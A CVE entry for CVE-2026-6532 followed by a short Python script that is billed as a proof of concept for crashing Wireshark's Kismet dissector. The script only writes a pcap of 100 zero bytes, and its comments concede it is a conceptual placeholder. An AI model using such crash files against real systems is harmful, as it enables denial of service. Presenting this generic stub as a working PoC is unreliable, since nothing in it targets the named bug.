CVE-2026-6532

#!/usr/bin/env python3 # PoC for CVE-2026-6532: Wireshark Kismet Dissector Crash # This script generates a malformed packet that may trigger the DoS. from scapy.all import * # Construct a malformed Kismet header/packet # Note: Actual payload structure depends on the specific dissector bug. # This is a conceptual example. malformed_packet = Raw(load=b'\x00' * 100) # Save to pcap wrpcap('crash_kismet.pcap', malformed_packet) print('PoC file generated: crash_kismet.pcap')

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